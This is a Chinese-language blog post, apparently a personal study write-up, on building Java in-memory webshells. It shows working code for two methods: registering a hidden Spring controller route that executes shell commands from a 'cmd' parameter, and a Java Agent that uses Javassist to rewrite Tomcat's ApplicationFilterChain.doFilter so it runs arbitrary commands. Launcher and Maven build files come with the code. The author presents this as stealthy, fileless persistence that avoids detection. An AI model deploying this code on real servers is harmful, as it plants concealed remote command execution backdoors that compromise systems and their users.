什么是MemShell?
之所以搞个这东西出来,maybe就是落地文件webshell太敏感了,无论是否代码层面是否免杀,落地了文件就是容易被查杀和拦截,属于敏感操作;而内存马(主要是针对java)能实现通过漏洞入口(一般是存在反序列化,jndi入口),通过拿到一些关键变量注入我们的恶意逻辑,通过请求恶意路由传递参数执行恶意逻辑,以达到跟传统webshell一样的效果,这个过程中无文件落地,动静较小,因此在java攻防中深受安全人员的喜爱.
分类
1.中间件系内存马
Spring Controller 内存马
有别于agent内存马直接修改字节码,这些通用的框架内存马通常是拿到当前thread的context然后添加恶意后门路由以及逻辑.
因此分析其Controler的解析和构成即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.springMVC; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping;
@Controller public class TestController { @RequestMapping("/eviden") public String index(){ return "index"; } }
|
首先搭一个spring
的环境断一个路由函数

拿到一个调用栈,然后依次分析即可

最终在DispatcherServlet
类中通过this.handlerMappings
拿到对应request的handler

然后到AbstractHandlerMapping.getHandler

最终到AbstractHandlerMethodMapping.getHandlerInternal 拿到合适的 handlerMethod

目标就关注这个mapRegistry

应该就是直接添加一个键值进去,所以我们如果可以手动触发register方法,就可以添加恶意路由
public void register(T mapping, Object handler, Method method)

该类为抽象类,无法直接实例化,可以通过找到子类进行触发register方法
RequestMappingInfoHandlerMapping extends AbstractHandlerMethodMapping but这个RequestMappingInfoHandlerMapping又是抽象类,继续往下找
public class RequestMappingHandlerMapping extends RequestMappingInfoHandlerMapping

那么RequestMappingHandlerMapping
就是我们的入口了,看一下传参
1 2 3
| mapping – the mapping for the handler method handler – the handler method – the method
|
因此并不能直接new一个对象,因为项目以及启动,得先拿到上下文context这个变量,在这儿可以传入有效的上下文初始化打一个断点看看
最终在WebApplicationContext接口里看到了ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE

自己找到一个,入参是ServletContext sc,那么可以看看它是如何得到的WebApplicationContext


直接通过sc.getAttribute(attrName)就拿到了那么我们还可以简化一下,就是拿到这个ServletContext
即可!(最后发现这个拿到的context也不是当前运行环境的context,遂die~)
但是分析的位置其实是对的,but就是失败,后面找文章学习学习
WebApplicationContextUtils
中存在 getWebApplicationContext
getRequeiredWebApplication
都可以根据当前的ServletContext
直接拿到当前运行的context!因为它是抽象类,那我们直接使用即可
后面还是通过WebApplicationContext wc= (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
拿到的context才注入成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package com.springMVC; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestAttributes; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.ServletContext; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Method; import java.util.Scanner; @Controller public class evil{ @RequestMapping("/inject") @ResponseBody public String inject(HttpServletRequest request) throws NoSuchMethodException {
WebApplicationContext wc= (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping rmhl = wc.getBean(RequestMappingHandlerMapping.class); PatternsRequestCondition evilPath = new PatternsRequestCondition("/evil"); RequestMappingInfo mapping = new RequestMappingInfo(evilPath, new RequestMethodsRequestCondition(), null, null,null,null,null); Method method = EvilController.class.getMethod("cmd"); System.out.println(rmhl.getHandlerMethods().keySet()); return "Inject done"; } @Controller @ResponseBody public class EvilController { public EvilController(){ } public void cmd()throws Exception{ HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); if (request.getParameter("cmd")!=null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } } } }
|
网上看到都是用的(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
感觉上应该不止这个方法,rasp太容易监控这个了类了,或者别人随便搞个黑名单就kill all了~
翻了一下网上居然没有agent去hook spring函数的内存马???目前就只看到过tomcat的,还是广为流传的垃圾版本…
而且spring又不是只能运行在tomcat,众所周知某微的就是resin
框架,感觉还是得从spring这个层面来考虑考虑agent内存马
注入Agent🐎 冰蝎(一)
先列举自己踩的几个坑:
-
64位和32位的不能不一致,运行的jdk一般是64位,tomcat必须保持64位
-
tomcat的输出流控制台打印好像有问题,有几条都成功
-
简易在maven项目里使用嵌入式的tomcat进行调试,且保持两个项目的jdk一致
Maven依赖
记得更换相关类的配置
1
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>me.eviden</groupId> <artifactId>agent-inject</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.30.2-GA</version> </dependency> <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <version>1.8</version> <scope>system</scope> <systemPath>F:\Main-Sec\JavaSec\code\AgentShellTomcat\src\main\java\lib\tools.jar</systemPath> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestEntries> <Main-Class>me.eviden.Main</Main-Class> <Agent-Class>me.eviden.AgentMainTest</Agent-Class> <Can-Redefine-Classes>true</Can-Redefine-Classes> <Can-Retransform-Classes>true</Can-Retransform-Classes> </manifestEntries> </archive> </configuration> <executions> <execution> <id>make-assembly</id> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> </plugins> </build> </project>
|
AgentMainTest
控制被注入的类的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package me.eviden;
import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest { public static void agentmain(String agentArgs, Instrumentation inst) { System.out.println("[Agent attached!]"); inst.addTransformer(new MyTransformer(), true); for (Class<?> clazz : inst.getAllLoadedClasses()) { if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) { System.out.println("[Found ApplicationFilterChain, begin to retransform]"); try { inst.retransformClasses(clazz); System.out.println("[Retransform success!]"); } catch (UnmodifiableClassException e) { System.out.println("[Retransform failed!]"); throw new RuntimeException(e); } } } } }
|
MyTransformer
用assist或者ASM技术操作字节码都行,主要是在org/apache/catalina/core/ApplicationFilterChain的doFilter方法前嵌入我们的恶意代码,but实测下来有问题或者说手法太过粗糙…,会弹出两次计算器,见大佬的分析: Java Agent 内存马 - X1r0z Blog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package me.eviden;
import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.LoaderClassPath;
import java.io.ByteArrayInputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){ ClassPool pool = ClassPool.getDefault(); pool.appendClassPath(new LoaderClassPath(loader)); try { CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer)); CtMethod doFilter = cc.getDeclaredMethod("doFilter"); doFilter.insertBefore("{ " + "String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null) {\n" + " try {\n" + " Process proc = Runtime.getRuntime().exec(cmd);\n" + " java.io.InputStream in = proc.getInputStream();\n" + " java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " response.setContentType(\"text/html\");\n" + " String line;\n" + " java.io.PrintWriter out = response.getWriter();\n" + " while ((line = br.readLine()) != null) {\n" + " out.println(line);\n" + " out.flush();\n" + " out.close();\n" + " }\n" + " } catch (Exception e) {\n" + " throw new RuntimeException(e);\n" + " }\n" + "}" + " }"); return cc.toBytecode(); } catch (Exception e) { throw new RuntimeException(e); } } return classfileBuffer; } }
|
启动类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package me.eviden;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import java.security.ProtectionDomain; import java.util.List;
public class Main { public static void main(String[] args) throws Exception { final String attachClassName = "com.eivden.Main"; final String agentJarPath = "F:\\Main-Sec\\JavaSec\\code\\AgentShellTomcat\\target\\agent-inject-1.0-SNAPSHOT-jar-with-dependencies.jar"; String pid = ""; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor v : list) { if (v.displayName().contains(attachClassName)) { System.out.println("[Found target at JVM: " + v.displayName() + "]"); pid = v.id(); System.out.println("[Found PID: " + pid + "]"); } } VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent(agentJarPath); System.out.println("[Agent loaded successfully!]"); } }
|
下面以JDK 8u202
以及tomcat 9.0.85
作为目标靶机进行演示:
嵌入式 tomcat 项目配置如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>com.eviden.learnjava</groupId> <artifactId>web-servlet-embedded</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging>
<properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <java.version>8</java.version> <tomcat.version>9.0.85</tomcat.version> </properties>
<dependencies> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>${tomcat.version}</version>
</dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> <version>${tomcat.version}</version>
</dependency> </dependencies> <build> <finalName>hello</finalName> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-war-plugin</artifactId> <version>3.3.2</version> <configuration> <webResources> <resource> <directory>${project.build.directory}/classes</directory> </resource>
<resource>
<directory>src/main/java/com/eivden/webapps</directory> <includes> <include>**/*.jsp</include> </includes> </resource> </webResources> <archiveClasses>true</archiveClasses> <archive> <manifest> <addClasspath>true</addClasspath> <classpathPrefix>tmp-webapp/WEB-INF/lib/</classpathPrefix> <mainClass>com.eivden.Main</mainClass> </manifest> </archive> </configuration> </plugin> </plugins> </build> </project>
|
注: 使用嵌入的tomcat时选取attach的类要为tomcat项目的启动类而非默认的Catalina


后面再优化优化这个内存马的逻辑…